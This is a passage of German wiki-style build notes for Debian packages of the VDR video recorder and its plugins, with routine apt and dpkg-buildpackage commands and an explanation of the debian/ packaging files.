 expr `cat /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel/revision` + 1 &amp;gt; /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel/revision&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDROLDSTABLE (1.6.0)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdroldstable-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdroldstable&lt;br /&gt;
 sudo apt-get source vdr&lt;br /&gt;
 sudo apt-get build-dep vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv *.diff.gz &amp;amp;&amp;amp; rm -fv *.debian.tar.gz &amp;amp;&amp;amp; rm -fv *.dsc&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
&lt;br /&gt;
debian/changelog anpassen.&lt;br /&gt;
&lt;br /&gt;
 time PATCHVARIANT=multipatch dpkg-buildpackage -rfakeroot -us -uc -sa -tc -j4&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdroldstable&lt;br /&gt;
 cp -v *.deb *.changes vdr_1.* /mirror/debian.oppserver.net/incoming/vdroldstable/squeeze/&lt;br /&gt;
&lt;br /&gt;
Nun die Revision fuer die Plugins anpassen:&lt;br /&gt;
 expr `cat /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdroldstable/revision` + 1 &amp;gt; /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdroldstable/revision&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdroldstable /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDR-PLUGINS (Beispiel vdr-plugin-xineliboutput)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge dvb-s2api-liplianin-source dvb-s2api-liplianin-headers&lt;br /&gt;
 sudo aptitude install&lt;br /&gt;
&lt;br /&gt;
Als erstes das neu erstellte vdr-dev installieren:&lt;br /&gt;
 sudo aptitude purge vdr-dev vdrdevel-dev make-special-vdr&lt;br /&gt;
 sudo aptitude install vdr-dev make-special-vdr&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdr-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
 mkdir /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr-plugins/own/vdr-plugin-xineliboutput&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr-plugins/own/vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get source vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get build-dep vdr-plugin-xineliboutput&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 mv -f *.debian.tar.gz *.diff.gz *.dsc /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr-plugins/originale/&lt;br /&gt;
 cp -rf * /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr-plugins/originale/&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
&lt;br /&gt;
Die changelog in debian editieren.&lt;br /&gt;
&lt;br /&gt;
 time dpkg-buildpackage -rfakeroot -us -uc -sa -tc -j4&lt;br /&gt;
&lt;br /&gt;
 cd ..&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.tar.gz *.dsc /mirror/debian.oppserver.net/incoming/vdr/squeeze/&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.tar.gz *.dsc /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr-plugins/opp/&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr-plugins/own/&lt;br /&gt;
 rm -r vdr-plugin-xineliboutput&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
Oder am besten per Script ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDRDEVEL-PLUGINS (Beispiel vdr-plugin-xineliboutput)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge vdr-dev vdrdevel-dev make-special-vdr dvb-s2api-liplianin-source dvb-s2api-liplianin-headers&lt;br /&gt;
 sudo aptitude install vdr-dev vdrdevel-dev make-special-vdr&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdrdevel-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel-plugins/own/vdr-plugin-xineliboutput&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel-plugins/own/vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get source vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get build-dep vdr-plugin-xineliboutput&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 mv -f *.debian.tar.gz *.diff.gz *.dsc /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel-plugins/originale/&lt;br /&gt;
 cp -rf * /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel-plugins/originale/&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
&lt;br /&gt;
Die changelog in debian editieren.&lt;br /&gt;
&lt;br /&gt;
 time PATCHVARIANT=multipatch SPECIAL_VDR_SUFFIX=devel dpkg-buildpackage -rfakeroot -us -uc -sa -tc -j4 -Rmake-special-vdr&lt;br /&gt;
&lt;br /&gt;
 cd ..&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.tar.gz *.dsc /mirror/debian.oppserver.net/incoming/vdrdevel/squeeze/&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.tar.gz *.dsc /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel-plugins/opp/&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel-plugins/own/&lt;br /&gt;
 rm -r vdr-plugin-xineliboutput&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
Oder am besten per Script ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DEBIAN AUS DER SOURCE (VDR PAKETE)&lt;br /&gt;
&lt;br /&gt;
Paket entpacken und ins Verzeichnis wechseln.&lt;br /&gt;
 debianize-vdrplugin&lt;br /&gt;
Dies erstellt den debian/ ordner mit folgenden Dateien die bearbeitet werden muessen:&lt;br /&gt;
&lt;br /&gt;
1. README.Debian&lt;br /&gt;
&lt;br /&gt;
Gibt es irgendwelche Hinweise, die speziell das Debian-Paket betreffen? Musstest du Aenderungen vornehmen, damit das Plug-in unter Debian funktioniert? Solche und aehnliche Informationen gehoeren, moeglichst in Englisch, in diese Datei. Hast du keine derartigen Anmerkungen, kannst du die README.Debian loeschen.&lt;br /&gt;
&lt;br /&gt;
Im Fall des Beep-Plug-ins kann die Datei geloescht werden.&lt;br /&gt;
&lt;br /&gt;
2. changelog (dh_installchangelog)&lt;br /&gt;
&lt;br /&gt;
Evtl. musst du hier deinen Namen und die Email-Adresse als Maintainer eintragen. Neben &amp;quot;Initial Release&amp;quot; sind fuer die erste Version eines Paketes meist keine weiteren Informationen erforderlich.&lt;br /&gt;
&lt;br /&gt;
3. control&lt;br /&gt;
&lt;br /&gt;
Auch hier musst du Name und Email-Adresse ueberpruefen. Sollte das Paket spezielle Bibliotheken benoetigen, musst du die enstprechenden lib*-dev-Pakte bei den Build-Depends im Source-Abschnitt eintragen. Diese Bibliotheken muessen im Feld Depends NICHT wiederholt werden. Beim Erzeugen des Paketes wird ${shlibs:Depends} automatisch durch die Liste der verwendeten Bibliotheken ersetzt (dh_shlibdeps). Die Zeilen mit den Abhaengigkeiten duerfen nicht umbrochen werden!&lt;br /&gt;
&lt;br /&gt;
Im Feld Description fehlt noch eine kurze und eine etwas ausfuehrlichere Beschreibung in Englisch. Oftmals kannst du diese aus der README uebernehmen.&lt;br /&gt;
&lt;br /&gt;
Das beep-Plug-in besitzt keine speziellen Abhaengigkeiten. Das Description-Feld koennte so aussehen:&lt;br /&gt;
&lt;br /&gt;
Description: VDR-plugin to give acoustic feedback for selected events&lt;br /&gt;
 This Plugin notifies the user with a beep from the internal mainboard speaker,&lt;br /&gt;
 when selected VDR events occur.&lt;br /&gt;
&lt;br /&gt;
4. copyright&lt;br /&gt;
&lt;br /&gt;
Ehre, wem Ehre gebuehrt! Hier musst du eintragen, von wo du das Plug-in heruntergeladen hast und wer der Autor ist. Auch solltest du pruefen, ob der Verweis auf die GPL2 auch wirklich zutrifft und das Plug-in nicht etwa einer ganz anderen Lizenz unterliegt.&lt;br /&gt;
&lt;br /&gt;
Fuer das beep-Plug-in saehe das so aus:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It was downloaded from http://deltab.de/vdr/beep.html &lt;br /&gt;
&lt;br /&gt;
Upstream Author: Andreas Brachold &amp;lt;vdr04 at deltab de&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. docs (dh_installdocs)&lt;br /&gt;
&lt;br /&gt;
Hier werden alle Dateien aufgelistet, welche in die Rubrik Dokumentation fallen. Das ist fast immer zumindest die README-Datei. Die hier aufgefuehrten Dateien werden dann nach /usr/share/doc/ installiert.&lt;br /&gt;
&lt;br /&gt;
Das Beep-Plug-in braucht nur die README.&lt;br /&gt;
&lt;br /&gt;
6. install (dh_install)&lt;br /&gt;
&lt;br /&gt;
Oftmals werden die zu installierenden Dateien in debian/rules kopiert. Eleganter ist die Verwendung von dh_install, welches die in debian/install aufgefuehrten Dateien in die ebenfalls dort angegebenen Zielverzeichnisse kopiert. Bei einem VDR-Plug-in ist dies auf jeden Fall die lib-Datei des Plug-ins. Aber auch eventuell benoetigte conf- Dateien, Grafiken usw. koennen so installiert werden. Der File System Hierarchie Standard FHS ist die Basis fuer die Wahl der Zielverzeichnisse. Oftmals reicht ein Blick in ein anderes Plug-in, wenn du dir nicht sicher bist. Hier ein paar wichtige Regel, die du beachten musst:&lt;br /&gt;
&lt;br /&gt;
    *&lt;br /&gt;
&lt;br /&gt;
      Plug-in-Konfigurationsdateien gehoeren nach /etc/vdr/plugins, jedoch nur statische conf-Files - also solche, die ausschliesslich manuell durch den Administrator geaendert werden. /etc ist read-only!&lt;br /&gt;
    *&lt;br /&gt;
&lt;br /&gt;
      Statische Daten-Dateien, Grafiken usw. gehoeren nach /usr/share/&amp;lt;paketname&amp;gt;. Auch dieses Verzeichnis ist read-only!&lt;br /&gt;
    *&lt;br /&gt;
&lt;br /&gt;
      Sich veraendernde, variable Dateien gehoeren nach /var/lib/vdr/plugins.&lt;br /&gt;
&lt;br /&gt;
vdr-plugin-beep muss nur die Plug-in-Bibliothek selbst installieren.&lt;br /&gt;
&lt;br /&gt;
7. links (dh_links)&lt;br /&gt;
&lt;br /&gt;
Oftmals erwarten Plug-ins bestimmte Dateien in /var/lib/vdr/plugins, die (wie beispielsweise Grafiken) nach /usr/share/&amp;lt;paketname&amp;gt; installiert wurden. In solch einem Fall kannst du in /var/lib/vdr/plugins Symlinks anlegen, welche auf die entsprechenden Dateien oder Verzeichnisse verweisen.&lt;br /&gt;
&lt;br /&gt;
In debian/links musst du diese Symlinks lediglich auflisten, dh_links uebernimmt dann den Rest. Werden keine Symlinks benoetigt, kannst du die Datei loeschen. (So auch beim Beep-Plug-in)&lt;br /&gt;
&lt;br /&gt;
8. postinst|postrm|preinst|prerm.ex&lt;br /&gt;
&lt;br /&gt;
Diese Dateien sind nur Beispiele (daher *.ex) und dienen dazu, bei der Installation bestimmte Aufgaben auszufuehren (z.B. bestehende Dateien zu verschieben). Meist werden sie nicht verwendet und du kannst sie, wie auch alle anderen nicht benoetigten Dateien, loeschen.&lt;br /&gt;
&lt;br /&gt;
Fuer das Beep-Plug-in sind diese Dateien nicht notwendig&lt;br /&gt;
&lt;br /&gt;
9. rules&lt;br /&gt;
&lt;br /&gt;
debian/rules ist ein Makefile. In ihm ist definiert, was beim Erzeugen des Paketes zu tun ist. Das umfasst alles vom Compilieren bis zum Erzeugen des Patchlevel-Feldes. Das vorgefertigte rules-File ist eigens fuer VDR-Plug-ins so gestaltet, dass in der Regel keine Aenderungen daran noetig sind.&lt;br /&gt;
&lt;br /&gt;
Unter Umstaenden muss lediglich die Zeile mit dh_installchangelogs angepasst werden, welche das changelog der Upstream-Version installiert:&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
# Build architecture-dependent files&lt;br /&gt;
binary-arch: build install&lt;br /&gt;
    dh_testdir&lt;br /&gt;
&lt;br /&gt;
    dh_installchangelogs HISTORY&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Meistens heisst diese Datei jedoch HISTORY und debian/rules muss nicht modifiziert werden.&lt;br /&gt;
&lt;br /&gt;
Auch beim Beep-Plug-in kann rules unveraendert bleiben&lt;br /&gt;
&lt;br /&gt;
9. watch.ex&lt;br /&gt;
&lt;br /&gt;
Diese Datei beschreibt eine Art Filter, den das Tool uscan benutzt, um nach neuen Upstream-Versionen in Debian-Paketen zu suchen. Hilfe dazu bietet man uscan. Wenn du diese Datei verwendest, musst du natuerlich die Endung ex entfernen.&lt;br /&gt;
&lt;br /&gt;
Fuer das Beep-Plug-in sieht debian/watch im einfachsten Fall so aus:&lt;br /&gt;
&lt;br /&gt;
version=2&lt;br /&gt;
http://deltab.de/vdr/beep.html vdr-beep-(.*).tgz&lt;br /&gt;
&lt;br /&gt;
danach ein dpkg-buildpackage -rfakeroot -us -uc -sa -tc -j4 und alles ist fertig&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DEBIAN PACKETE AUS SOURCE&lt;br /&gt;
&lt;br /&gt;
Notwendige Pakete&lt;br /&gt;
&lt;br /&gt;
    * dpkg-deb&lt;br /&gt;
    * dh-make&lt;br /&gt;
    * gcc&lt;br /&gt;
    * libc6-dev&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vorbereitungen&lt;br /&gt;
&lt;br /&gt;
Zunaechst sollte ein Arbeitsverzeichnis erstellt werden (am besten mit dem Namen des Paketes, ohne Versionsnummer).&lt;br /&gt;
Hier entpacken wir den Orginal-Source unseres Paketes:&lt;br /&gt;
&lt;br /&gt;
      mkdir hallo; cd hallo&lt;br /&gt;
          tar xvfz ~/hallo-0.1.tar.gz&lt;br /&gt;
      cd hallo-0.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hinweis: Es ist wichtig, dass das Verzeichnis in dem der Source des Entpackten Paktes liegt, namentlich die Paket-Version (upstream-version) enthaelt (z.B. hallo-0.1).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Debianisieren&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nun koennen wir mit Hilfe des Pakets dh_make den Quellbaum fuer die Erstellung eines Debian-Pakets vorbereiten.&lt;br /&gt;
&lt;br /&gt;
     dh_make -e marcus@antbear.org -f ~/hallo-0.1.tar.gz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Die Option -e gibt dabei die E-Mail-Adresse des Maintainers an. Die Option -f die Lage des Orginal-Source (upstream) im Filesystem an.&lt;br /&gt;
dh_make wird anschliessend erfragen, um welchen Typ es sich bei dem zu erstellenden Paket handelt. Die Moeglichen Antworten lauten:&lt;br /&gt;
&lt;br /&gt;
    * single binary&lt;br /&gt;
    * multiple binary&lt;br /&gt;
    * library&lt;br /&gt;
&lt;br /&gt;
Wir waehlen hier natuerlich single binary, da es sich bei hallo um ein einfaches Programm handelt.&lt;br /&gt;
Abschliessend wird uns eine Uebersicht, des erstellten Paket-Grundgeruests angezeigt.&lt;br /&gt;
&lt;br /&gt;
Im uebergeordneten Verzeichnis befindet sich nun neben dem Orginal Source-Archiv des Pakets, ein neues Archiv, das dazu gedacht ist, in Kombination mit dem erzeugten Debian-Paket, auf die Debian-Server hochgeladen zu werden. Der Name des Archives lautet: hallo_0.1.orig.tar.gz&lt;br /&gt;
Das debian-Unterverzeichnis&lt;br /&gt;
&lt;br /&gt;
Alle zur Erstellung des Debian-Pakets notwendigen Dateien befinden sich im debian-Unterverzeichnis unseres Quellbaums.&lt;br /&gt;
&lt;br /&gt;
Hier ein Ueberblick der generierten Dateien:&lt;br /&gt;
README.Debian 	README-Datei die spaeter im /usr/share/doc/hallo Verzeichnis abgelegt wird. Hier sollten Debian-spezifische Anpassungen oder Kompilierungsoptionen oder Abweichungen von der upstream-Version dokumentiert werden.&lt;br /&gt;
changelog 	Enthaelt die Aenderungshistory des Debian-Pakets. Achtung die Datei muss in einem speziellen Format vorliegen.&lt;br /&gt;
conffiles.ex 	Enthaelt eine Liste von Konfigurationsdateien, die dpkg beachten sollten.&lt;br /&gt;
control 	Enthaelt die Informationen, die mit dpkg --info ausgegeben werden koennen. Hier muss auch die Beschreibung des Pakets angepasst werden.&lt;br /&gt;
copyright 	Hier sollte die Website oder ftp-URL angegeben werden, von wo das Orginal-Paket bezogen werden kann. Autoren und weitere upstream Copyright-Hinweise muessen hier eingetragen werden.&lt;br /&gt;
cron.d.ex 	Beispiel-crontab (optional)&lt;br /&gt;
dirs 	Enthaelt die Verzeichnisse, die bei Bedarf von dpkg waehrend der Installation erzeugt werden sollen. Im einfachsten Fall muss hier nichts geaendert werden, oder einfach nur das Installationsverzeichnis eingetragen werden (z.B. /usr/bin).&lt;br /&gt;
docs 	List von Dateien, die aus den Orginalquellen nach /usr/share/doc/paket uebernommen werden sollen.&lt;br /&gt;
emacsen-install.ex 	Emacs-spezifisch (optional)&lt;br /&gt;
emacsen-remove.ex 	Emacs-spezifisch (optional)&lt;br /&gt;
emacsen-startup.ex 	Emacs-spezifisch (optional)&lt;br /&gt;
ex.doc-base.package 	Fuer Pakete mit eigener HTML-Dokumentation. Wird benoetigt, um die Paket-Dokumentation bei doc-base zu registrieren (damit sie mittels dhelp(1) oder dwww(1) gefunden werden kann). (optional)&lt;br /&gt;
init.d.ex 	Fuer Pakete die einen Daemon enthalten und von init gestartet werden sollten (Initskript). (optional)&lt;br /&gt;
manpage.1.ex 	Skellet einer Manpage (troff(1)). (optional)&lt;br /&gt;
manpage.sgml.ex 	Skellet einer Manpage im SGML-Format (Docboc). (optional)&lt;br /&gt;
menu.ex 	Einstellungen fuer das Debian-Menu system. Ermoeglich es auf einfach Art einen Menueeintrag fuer das Paket zu erstellen, der dann in allen X11-Umgebungen sichtbar ist.&lt;br /&gt;
postinst.ex 	Skript, das nach der Installation ausgefuehrt werden soll&lt;br /&gt;
postrm.ex 	Skript, das nach dem Entfernen des Pakets ausgefuehrt werden soll.&lt;br /&gt;
preinst.ex 	Skript, das vor der Installation ausgefuehrt werden soll.&lt;br /&gt;
prerm.ex 	Sript, das vor dem Entfernen ausgefuehrt werden soll.&lt;br /&gt;
rules 	Enthaelt die Regeln die dpkg-buildpackage auswertet, um das Paket zu erstellen.&lt;br /&gt;
watch.ex 	Siehe uscan(1) und uupdate(1). (optional)&lt;br /&gt;
&lt;br /&gt;
Da die Semantik, wann welche Paket-Skripte ausgefuehrt werden, recht komplex ist, verweise ich an dieser Stelle auf die &amp;quot;Debian Developers Reference&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Die Endung .ex steht fuer Example. Soll eine der Aufgefuehrten Dateien verwendet werden, so ist sie umzubennen (ohne .ex).&lt;br /&gt;
Anpassungen&lt;br /&gt;
&lt;br /&gt;
Im Folgenden werden wir einige der oben aufgefuehrten Dateien anpassen, um aus dem hallo-Paket ein Debian-Paket zu erstellen.&lt;br /&gt;
Ein Wort zu Makefiles&lt;br /&gt;
&lt;br /&gt;
Da die Debian-Policy genauch vorschreibt, wo die Vielzahl von Dateien aus denen sich ein Paket zusammensetzt, im Filesystem zu installieren sind, muessen bei manchen Paketen Anpassungen am Makefile vorgenommen werden. In der Regel sind das Pakete, die mit normalen Makefiles ausgeliefert werden.&lt;br /&gt;
&lt;br /&gt;
Pakete die Automake/Autoconf einsetzen, muessen meist nicht angepasst werden, da hier ueber die Option --prefix=pfad des configure-Skripts, der Basispfad fuer die Installation vorgegeben werden kann. Entgegen dem GNU-&amp;quot;Standard&amp;quot;, Programmpakete nach /usr/local zu installieren, muessen Debian-Pakete, die ausfuehrbare Programme enthalten, nach /usr/bin installiert werden.&lt;br /&gt;
Auf jeden Fall muss sichergestellt werden, dass das resultierende Paket, den Debian-Standards entspricht.&lt;br /&gt;
Das control-File&lt;br /&gt;
&lt;br /&gt;
Das control-File enthaelt verschiedene Informationen, die dpkg und apt benoetigen, um das Paket zu verwalten:&lt;br /&gt;
&lt;br /&gt;
     Source: hallo&lt;br /&gt;
     Section: unknown&lt;br /&gt;
     Priority: optional&lt;br /&gt;
     Maintainer: Marcus Geiger &lt;br /&gt;
     Build-Depends: debhelper (&amp;gt;&amp;gt; 3.0.0)&lt;br /&gt;
     Standards-Version: 3.5.2&lt;br /&gt;
&lt;br /&gt;
     Package: hallo&lt;br /&gt;
     Architecture: any&lt;br /&gt;
     Depends: ${shlibs:Depends}&lt;br /&gt;
     Description: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der obere Abschnitt enthaelt die Informationen fuer das Source-Paket, der Untere fuer das Binaerpaket. Die Semantik der einzelnen Felder ist wahrscheinlich jedem Debianer bekannt.&lt;br /&gt;
Die erste Zeile der Description enthaelt eine Kurzbeschreibung des Pakets. Eine Ausfuehrliche Beschreibung folgt unmittelbar in der naechsten Zeile. Jede Zeile muss dabei mit Leerzeichen eingerueckt werden. Paragraphen koennen mit einem Punkt erzeugt werden.&lt;br /&gt;
&lt;br /&gt;
Die Zeile Section: ... dient der Kategorisierung des Pakets (z.B. fuer apt-Frontends).&lt;br /&gt;
&lt;br /&gt;
Die Zeile Depends: ${shlibs:Depends} wird vom waehrend der Erstellung des Pakets automatisch substituiert (duch die Liste der Bibliotheken, die zum Paket (dynamisch) gelinkt wurden).&lt;br /&gt;
&lt;br /&gt;
Weiter wichtige Felder die oft eingefuegt werden muessen, sind:&lt;br /&gt;
&lt;br /&gt;
    * Recommends&lt;br /&gt;
    * Suggests&lt;br /&gt;
    * Pre-Depends&lt;br /&gt;
    * Conflicts&lt;br /&gt;
    * Provides&lt;br /&gt;
    * Replaces&lt;br /&gt;
&lt;br /&gt;
Einzelheiten sind der &amp;quot;Debian Developers Reference&amp;quot; zu entnehmen.&lt;br /&gt;
&lt;br /&gt;
Wir aendern nun unser control-File folgendermassen ab:&lt;br /&gt;
&lt;br /&gt;
     Source: hallo&lt;br /&gt;
     Section: misc&lt;br /&gt;
     Priority: optional&lt;br /&gt;
     Maintainer: Marcus Geiger &lt;br /&gt;
     Build-Depends: debhelper (&amp;gt;&amp;gt; 3.0.0)&lt;br /&gt;
     Standards-Version: 3.5.2&lt;br /&gt;
&lt;br /&gt;
     Package: hallo&lt;br /&gt;
     Architecture: any&lt;br /&gt;
     Depends: ${shlibs:Depends}&lt;br /&gt;
     Suggests: hello&lt;br /&gt;
     Description: A package to learn howto create debian packages.&lt;br /&gt;
      A long description.&lt;br /&gt;
&lt;br /&gt;
      A new paragraph. Also take a look at the hello package, because&lt;br /&gt;
      it&#039;s more full-featured.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Das copyright-File&lt;br /&gt;
&lt;br /&gt;
Hier sollen alle upstream Copyright-Hinweise eingefuegt werden. Auch sollte hier die Quelle angegeben werden, von wo das Orginalpaket bezogen werden kann.&lt;br /&gt;
&lt;br /&gt;
Hier die Anpassungen im Rahmen des hallo-Pakets:&lt;br /&gt;
&lt;br /&gt;
     This package was debianized by Marcus Geiger  on&lt;br /&gt;
     Sun, 29 Jul 2001 18:48:42 +0200.&lt;br /&gt;
&lt;br /&gt;
     It was downloaded from http://www.antbear.org&lt;br /&gt;
&lt;br /&gt;
     Upstream Author(s): Marcus Geiger &lt;br /&gt;
&lt;br /&gt;
     Copyright:&lt;br /&gt;
&lt;br /&gt;
     blah&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Das changelog-File&lt;br /&gt;
&lt;br /&gt;
Das changelog-File enthaelt die Aenderungshistorie des Debian-Pakets. Das genaue Format kann dem &amp;quot;Packaging Manual&amp;quot; (section 3.2.3) entnommen werden.&lt;br /&gt;
&lt;br /&gt;
Wir aendern es folgendermassen ab:&lt;br /&gt;
&lt;br /&gt;
     hallo (0.1-1) unstable; urgency=low&lt;br /&gt;
&lt;br /&gt;
      * Initial Release.&lt;br /&gt;
      * This is my first Debian package.&lt;br /&gt;
      * No upstream changes.&lt;br /&gt;
&lt;br /&gt;
     -- Marcus Geiger   Sun, 29 Jul 2001 18:48:42 +0200&lt;br /&gt;
&lt;br /&gt;
     Local variables:&lt;br /&gt;
     mode: debian-changelog&lt;br /&gt;
     End:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Damit Emacs in den Debian-Changelog-Mode wechselt, wurden die unteren drei Zeilen eingefuegt (Erleichtert das Einhalten des Formats).&lt;br /&gt;
urgency=low besagt, dass die Aenderungen nicht wesentlich sind.&lt;br /&gt;
&lt;br /&gt;
Jedesmal, wenn ein neues Paket-Release erstellt werden soll, muss die Version des Pakets erhoet werden. Am besten verwendet man dazu den Befehl dch -i, der die Versionsnummer des Pakets inkrementiert (siehe dch(1)). Anschliessend muss nur die changelog ergaenzt werden.&lt;br /&gt;
&lt;br /&gt;
Hinweis: Das Datums- und Zeitformat muss muss RFC822-konform sein. Haendisch kann die aktuelle Zeit/Datum mit date -R abgefragt werden.&lt;br /&gt;
Das rules-File&lt;br /&gt;
&lt;br /&gt;
Das rules-File enthaelt das Regelwerk fuer dpkg-buildpackage(1). Es handelt sich also um ein ausfuerbares Makefile fuer die Paketerstellung.&lt;br /&gt;
&lt;br /&gt;
Wie ein &amp;quot;normales&amp;quot; Makefile, enthaelt das rules-File Ziele und die davon abhaengigen Regeln (siehe auch info make). Das von dh_make erstellt rules-File ist nur ein Vorschalg und sollte auf jeden Fall angepasst werden.&lt;br /&gt;
configure und configure-stamp&lt;br /&gt;
&lt;br /&gt;
Die make-Ziele configure und configure-stamp sind fuer die Konfiguration des Software Pakets zustaendig. Diese make-Ziele werden von dh_make nur dann erzeugt, wenn das Quellpaket autoconf/automake verwendet. Hier wird configure mit den notwendigen Optionen gestartet, so dass das resultierende Paket Debiankonform ist.&lt;br /&gt;
build und build-stamp&lt;br /&gt;
&lt;br /&gt;
Die make-Ziele build und build-stamp steuern den normalen Erstellungsprozess des Software-Pakets. Es wird also im wesentlichen ein make ausgefuehrt.&lt;br /&gt;
binary-arch&lt;br /&gt;
&lt;br /&gt;
Dieses make-Ziel ist das interessanteste, da es die Erstellung des Debianpakets steuert. Hier werden viele kleine Hilfprogramme aus der debhelper-Sammlung verwendet. Hier sollten auf jeden Fall Anpassungen vorgenommen werden, die die Gegebenheiten des Pakets reflektieren.&lt;br /&gt;
&lt;br /&gt;
    * dh_testdir prueft ob wir im richtigen Verzeichnis sind&lt;br /&gt;
    * dh_testroot prueft ob wir root-Rechte haben (fuer binary und clean)&lt;br /&gt;
    * dh_installdocs installiert die folgenden Debian Dateien: copyright, README.debian, TODO.debian, ...&lt;br /&gt;
    * dh_examples installiert mit dem Paket ausgelieferte Beispieldateien&lt;br /&gt;
    * dh_installmenu installiert einen Menueeintrag im Debian-Menue-System.&lt;br /&gt;
    * dh_installman installiert eine Manualpage&lt;br /&gt;
    * dh_installinfo installiert info-Seiten&lt;br /&gt;
    * dh_undocumented &amp;quot;installiert&amp;quot; eine Standard Manualpage mit dem Hinweis, dass das Paket keine Manualpage mitbringt.&lt;br /&gt;
    * dh_strip Entfernt Debugging-Informationen von uebersetzten Programmen.&lt;br /&gt;
